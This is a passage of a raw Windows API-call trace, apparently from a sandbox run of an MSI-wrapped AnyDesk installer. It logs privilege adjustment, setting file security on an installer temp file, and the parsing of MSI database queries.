returned 1 [0127.547] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10cd9d8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10cd960 | out: pSid=0x10cd960*=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0127.548] GetLengthSid (pSid=0x377110*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0127.548] GetLengthSid (pSid=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0127.548] InitializeAcl (in: pAcl=0x10cda00, nAclLength=0x34, dwAclRevision=0x2 | out: pAcl=0x10cda00) returned 1 [0127.548] AddAccessAllowedAce (in: pAcl=0x10cda00, dwAceRevision=0x2, AccessMask=0x10000000, pSid=0x377110*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x10cda00) returned 1 [0127.548] GetAce (in: pAcl=0x10cda00, dwAceIndex=0x0, pAce=0x10cd9a8 | out: pAce=0x10cd9a8*=0x10cda08) returned 1 [0127.548] AddAccessAllowedAce (in: pAcl=0x10cda00, dwAceRevision=0x2, AccessMask=0x10000000, pSid=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x10cda00) returned 1 [0127.548] GetAce (in: pAcl=0x10cda00, dwAceIndex=0x1, pAce=0x10cd9a8 | out: pAce=0x10cd9a8*=0x10cda1c) returned 1 [0127.548] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x10cd9b0, dwRevision=0x1 | out: pSecurityDescriptor=0x10cd9b0) returned 1 [0127.548] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x10cd9b0, bDaclPresent=1, pDacl=0x10cda00, bDaclDefaulted=0 | out: pSecurityDescriptor=0x10cd9b0) returned 1 [0127.548] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x10cd9b0, pOwner=0x3770d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x10cd9b0) returned 1 [0127.548] GetSecurityDescriptorLength (pSecurityDescriptor=0x10cd9b0) returned 0x6c [0127.548] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x10cd9b0, pSelfRelativeSecurityDescriptor=0x7fef7b24690, lpdwBufferLength=0x7fef7b236d4 | out: pSelfRelativeSecurityDescriptor=0x7fef7b24690, lpdwBufferLength=0x7fef7b236d4) returned 1 [0127.548] GetCurrentThread () returned 0xfffffffffffffffe [0127.548] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdbd0 | out: TokenHandle=0x10cdbd0*=0x0) returned 0 [0127.548] GetLastError () returned 0x3f0 [0127.548] GetCurrentProcess () returned 0xffffffffffffffff [0127.548] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdbd0 | out: TokenHandle=0x10cdbd0*=0x368) returned 1 [0127.548] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10cdbdc | out: lpLuid=0x10cdbdc*(LowPart=0x12, HighPart=0)) returned 1 [0127.915] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10cdbe8 | out: lpLuid=0x10cdbe8*(LowPart=0x9, HighPart=0)) returned 1 [0127.916] AdjustTokenPrivileges (in: TokenHandle=0x368, DisableAllPrivileges=0, NewState=0x10cdbd8*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0127.916] CloseHandle (hObject=0x368) returned 1 [0127.916] GetLastError () returned 0x0 [0127.916] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp", SecurityInformation=0x1, pSecurityDescriptor=0x7fef7b24690) returned 1 [0127.918] SetFileSecurityW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp", SecurityInformation=0x4, pSecurityDescriptor=0x7fef7b24690) returned 1 [0127.918] GetCurrentThread () returned 0xfffffffffffffffe [0127.919] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdbd0 | out: TokenHandle=0x10cdbd0*=0x7) returned 0 [0127.919] GetLastError () returned 0x3f0 [0127.919] GetCurrentProcess () returned 0xffffffffffffffff [0127.919] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdbd0 | out: TokenHandle=0x10cdbd0*=0x368) returned 1 [0127.919] AdjustTokenPrivileges (in: TokenHandle=0x368, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0127.919] CloseHandle (hObject=0x368) returned 1 [0127.919] GetLastError () returned 0x0 [0127.919] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0127.920] CloseHandle (hObject=0x368) returned 1 [0127.920] lstrlenW (lpString="C:\\Windows\\Installer\\MSI8868.tmp") returned 32 [0127.920] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.920] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp")) returned 0x20 [0127.920] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x368 [0127.920] GetFileType (hFile=0x368) returned 0x1 [0127.921] GetLastError () returned 0xb7 [0127.921] GetFileSize (in: hFile=0x368, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0127.921] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0127.921] GetLocalTime (in: lpSystemTime=0x10cdce0 | out: lpSystemTime=0x10cdce0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x173)) [0127.921] SystemTimeToFileTime (in: lpSystemTime=0x10cdce0, lpFileTime=0x10cdd10 | out: lpFileTime=0x10cdd10) returned 1 [0127.921] FileTimeToDosDateTime (in: lpFileTime=0x10cdd10, lpFatDate=0x10cdd00, lpFatTime=0x10cdd08 | out: lpFatDate=0x10cdd00, lpFatTime=0x10cdd08) returned 1 [0127.921] lstrlenW (lpString="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0127.921] lstrlenW (lpString="") returned 0 [0127.921] lstrlenW (lpString="GenerateScript") returned 14 [0127.921] lstrlenW (lpString="ActionText") returned 10 [0127.922] lstrcmpW (lpString1="Advertise", lpString2="GenerateScript") returned -1 [0127.922] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="AppSearch", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="BindImage", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="CCPSearch", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="CostFinalize", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="CostInitialize", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="CreateFolders", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="CreateShortcuts", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="DeleteServices", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="DuplicateFiles", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="FileCost", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="FindRelatedProducts", lpString2="GenerateScript") returned -1 [0127.923] lstrcmpW (lpString1="GenerateScript", lpString2="GenerateScript") returned 0 [0127.923] lstrlenW (lpString="ProductLanguage") returned 15 [0127.923] SetLastError (dwErrCode=0x0) [0127.923] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0127.925] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x753e, dwLanguageId=0x409, lpBuffer=0x10cd740, nSize=0x100, Arguments=0x0 | out: lpBuffer="Generating script operations for action:\x09[1]\r\n") returned 0x2e [0127.929] lstrlenW (lpString="[1]") returned 3 [0127.929] lstrlenW (lpString="Generating script operations for action:") returned 40 [0127.929] FreeLibrary (hLibModule=0xc10002) returned 1 [0127.930] lstrlenW (lpString="{{") returned 2 [0127.930] lstrlenW (lpString=": }}") returned 4 [0127.930] SetLastError (dwErrCode=0xd) [0127.930] lstrlenW (lpString="Time") returned 4 [0127.930] GetLocalTime (in: lpSystemTime=0x10cd220 | out: lpSystemTime=0x10cd220*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x183)) [0127.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd220, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0127.931] GetLocalTime (in: lpSystemTime=0x10cd220 | out: lpSystemTime=0x10cd220*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x183)) [0127.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd220, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0127.931] GetLocalTime (in: lpSystemTime=0x10cd250 | out: lpSystemTime=0x10cd250*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x183)) [0127.931] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd250, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0127.931] memcpy (in: _Dst=0x10cd4b0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cd4b0) returned 0x10cd4b0 [0127.931] memcpy (in: _Dst=0x37b07ee, _Src=0x10cd4b0, _Size=0x10 | out: _Dst=0x37b07ee) returned 0x37b07ee [0127.931] memcpy (in: _Dst=0x37b07fe, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x37b07fe) returned 0x37b07fe [0127.931] memcpy (in: _Dst=0x37b0802, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x37b0802) returned 0x37b0802 [0127.932] SetLastError (dwErrCode=0x0) [0127.932] memcpy (in: _Dst=0x10cd4b2, _Src=0x10cd308, _Size=0x2 | out: _Dst=0x10cd4b2) returned 0x10cd4b2 [0127.932] memcpy (in: _Dst=0x37b0802, _Src=0x10cd4b0, _Size=0x6 | out: _Dst=0x37b0802) returned 0x37b0802 [0127.932] memcpy (in: _Dst=0x37b0808, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x37b0808) returned 0x37b0808 [0127.932] memcpy (in: _Dst=0x37b080c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x37b080c) returned 0x37b080c [0127.932] SetLastError (dwErrCode=0x0) [0127.932] memcpy (in: _Dst=0x10cd4b2, _Src=0x10cd308, _Size=0x2 | out: _Dst=0x10cd4b2) returned 0x10cd4b2 [0127.932] memcpy (in: _Dst=0x37b080c, _Src=0x10cd4b0, _Size=0x6 | out: _Dst=0x37b080c) returned 0x37b080c [0127.932] GetCurrentThreadId () returned 0xf50 [0127.932] GetCurrentThreadId () returned 0xf50 [0127.932] SetEvent (hEvent=0x170) returned 1 [0127.932] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.946] GetCurrentThreadId () returned 0xf50 [0127.946] GetCurrentThreadId () returned 0xf50 [0127.946] SetEvent (hEvent=0x170) returned 1 [0127.946] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.953] memcpy (in: _Dst=0x37b05bc, _Src=0x10cd688, _Size=0x2 | out: _Dst=0x37b05bc) returned 0x37b05bc [0127.953] memcpy (in: _Dst=0x37b05be, _Src=0x10cd688, _Size=0x2 | out: _Dst=0x37b05be) returned 0x37b05be [0127.953] memcpy (in: _Dst=0x37b05c0, _Src=0x10cd688, _Size=0x4 | out: _Dst=0x37b05c0) returned 0x37b05c0 [0127.953] GetCurrentThreadId () returned 0xf50 [0127.953] GetCurrentThreadId () returned 0xf50 [0127.953] SetEvent (hEvent=0x170) returned 1 [0127.953] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.957] memcpy (in: _Dst=0x37b05c4, _Src=0x10cd688, _Size=0x2 | out: _Dst=0x37b05c4) returned 0x37b05c4 [0127.957] memcpy (in: _Dst=0x37b05c6, _Src=0x10cd688, _Size=0x2 | out: _Dst=0x37b05c6) returned 0x37b05c6 [0127.957] memcpy (in: _Dst=0x37b05c8, _Src=0x10cd688, _Size=0x4 | out: _Dst=0x37b05c8) returned 0x37b05c8 [0127.957] SetLastError (dwErrCode=0x0) [0127.957] memcpy (in: _Dst=0x10cd812, _Src=0x10cd668, _Size=0x2 | out: _Dst=0x10cd812) returned 0x10cd812 [0127.957] memcpy (in: _Dst=0x37b0808, _Src=0x10cd810, _Size=0x6 | out: _Dst=0x37b0808) returned 0x37b0808 [0127.958] GetCurrentThreadId () returned 0xf50 [0127.958] GetCurrentThreadId () returned 0xf50 [0127.958] SetEvent (hEvent=0x170) returned 1 [0127.958] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.960] GetCurrentThreadId () returned 0xf50 [0127.960] GetCurrentThreadId () returned 0xf50 [0127.960] SetEvent (hEvent=0x170) returned 1 [0127.960] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.964] memcpy (in: _Dst=0x37b05cc, _Src=0x10cd9e8, _Size=0x2 | out: _Dst=0x37b05cc) returned 0x37b05cc [0127.964] GetCurrentThreadId () returned 0xf50 [0127.964] GetCurrentThreadId () returned 0xf50 [0127.964] SetEvent (hEvent=0x170) returned 1 [0127.964] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.968] memcpy (in: _Dst=0x37b0604, _Src=0x10cdd08, _Size=0x2 | out: _Dst=0x37b0604) returned 0x37b0604 [0127.968] memcpy (in: _Dst=0x37b0606, _Src=0x10cdd08, _Size=0x2 | out: _Dst=0x37b0606) returned 0x37b0606 [0127.968] memcpy (in: _Dst=0x37b0608, _Src=0x10cdd08, _Size=0x4 | out: _Dst=0x37b0608) returned 0x37b0608 [0127.968] memcpy (in: _Dst=0x37b060c, _Src=0x10cdd08, _Size=0x2 | out: _Dst=0x37b060c) returned 0x37b060c [0127.968] memcpy (in: _Dst=0x37b060e, _Src=0x10cdd08, _Size=0x4 | out: _Dst=0x37b060e) returned 0x37b060e [0127.968] memcpy (in: _Dst=0x37b0612, _Src=0x10cdd08, _Size=0x2 | out: _Dst=0x37b0612) returned 0x37b0612 [0127.968] memcpy (in: _Dst=0x37b0614, _Src=0x10cdd08, _Size=0x4 | out: _Dst=0x37b0614) returned 0x37b0614 [0127.969] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0127.969] lstrlenW (lpString=" SELECT `Root`,`Key`,`Name`, `Value` FROM `Registry`,`Component` WHERE `Registry`=? AND `Registry`.`Component_` = `Component`.`Component`") returned 137 [0127.969] lstrlenW (lpString=" SELECT `Root`,`Key`,`Name`, `Value` FROM `Registry`,`Component` WHERE `Registry`=? AND `Registry`.`Component_` = `Component`.`Component`") returned 137 [0127.969] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.969] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0127.969] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0127.969] lstrlenW (lpString="Registry") returned 8 [0127.969] lstrlenW (lpString="Component") returned 9 [0127.969] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.969] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.970] memcpy (in: _Dst=0x3cc0f8, _Src=0x3cc0f0, _Size=0x8 | out: _Dst=0x3cc0f8) returned 0x3cc0f8 [0127.970] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.970] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.970] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.970] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.970] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.970] lstrlenW (lpString="Registry") returned 8 [0127.970] lstrlenW (lpString="=") returned 1 [0127.971] lstrlenW (lpString="?") returned 1 [0127.971] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.971] lstrlenW (lpString="Registry") returned 8 [0127.971] lstrlenW (lpString="Component_") returned 10 [0127.971] lstrlenW (lpString="=") returned 1 [0127.971] lstrlenW (lpString="Component") returned 9 [0127.971] lstrlenW (lpString="Component") returned 9 [0127.971] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.971] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0127.971] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0127.971] lstrlenW (lpString="Root") returned 4 [0127.971] lstrlenW (lpString="Key") returned 3 [0127.971] lstrlenW (lpString="Name") returned 4 [0127.971] lstrlenW (lpString="Value") returned 5 [0127.971] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0127.971] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0127.971] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0127.971] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0127.971] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0127.972] SetLastError (dwErrCode=0xd) [0127.972] lstrlenW (lpString="BZ.COMPANYNAME") returned 14 [0127.972] SetLastError (dwErrCode=0xd) [0127.972] lstrlenW (lpString="BZ.WRAPPED_APPID") returned 16 [0128.108] lstrlenW (lpString="\\") returned 1 [0128.108] SetLastError (dwErrCode=0xd) [0128.108] lstrlenW (lpString="LogonUser") returned 9 [0128.108] lstrlenW (lpString="0") returned 1 [0128.108] _vsnwprintf (in: _Buffer=0x10ce1f0, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce1e8 | out: _Buffer="2") returned 1 [0128.109] lstrlenW (lpString="2") returned 1 [0128.109] lstrlenW (lpString="\\") returned 1 [0128.109] wcsstr (_Str="LogonUser", _SubStr="\\") returned 0x0 [0128.109] lstrlenW (lpString=":") returned 1 [0128.109] lstrlenW (lpString="\\") returned 1 [0128.109] GetCurrentThreadId () returned 0xf50 [0128.109] GetCurrentThreadId () returned 0xf50 [0128.109] SetEvent (hEvent=0x170) returned 1 [0128.110] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.113] memcpy (in: _Dst=0x37b0618, _Src=0x10cdc58, _Size=0x2 | out: _Dst=0x37b0618) returned 0x37b0618 [0128.113] GlobalUnlock (hMem=0xf401a8) returned 0 [0128.113] GlobalUnlock (hMem=0xf401b8) returned 0 [0128.113] GlobalUnlock (hMem=0xf401c8) returned 0 [0128.113] GlobalLock (hMem=0xf401c8) returned 0x3cc0f0 [0128.113] lstrlenW (lpString=" SELECT `Component`, `Directory_`, `RuntimeFlags` FROM `Component` WHERE (`Component`.`ActionRequest` = 1 AND (`Component`.`Installed` = 0 OR `Component`.`Installed` = 2)) OR (`Component`.`Installed` = 1 AND (`Component`.`ActionRequest` = 2 OR `Component`.`ActionRequest` = 0)) ORDER BY `BinaryType`") returned 299 [0128.113] lstrlenW (lpString=" SELECT `Component`, `Directory_`, `RuntimeFlags` FROM `Component` WHERE (`Component`.`ActionRequest` = 1 AND (`Component`.`Installed` = 0 OR `Component`.`Installed` = 2)) OR (`Component`.`Installed` = 1 AND (`Component`.`ActionRequest` = 2 OR `Component`.`ActionRequest` = 0)) ORDER BY `BinaryType`") returned 299 [0128.113] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0128.113] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.113] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.113] lstrlenW (lpString="Component") returned 9 [0128.113] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.113] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0128.113] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0128.113] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.113] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.114] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0128.114] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0128.114] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0128.114] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.114] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0128.114] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0128.114] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0128.114] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0128.114] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0128.114] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0128.116] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0128.117] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0128.117] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0128.117] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.117] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0128.117] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="DROP", 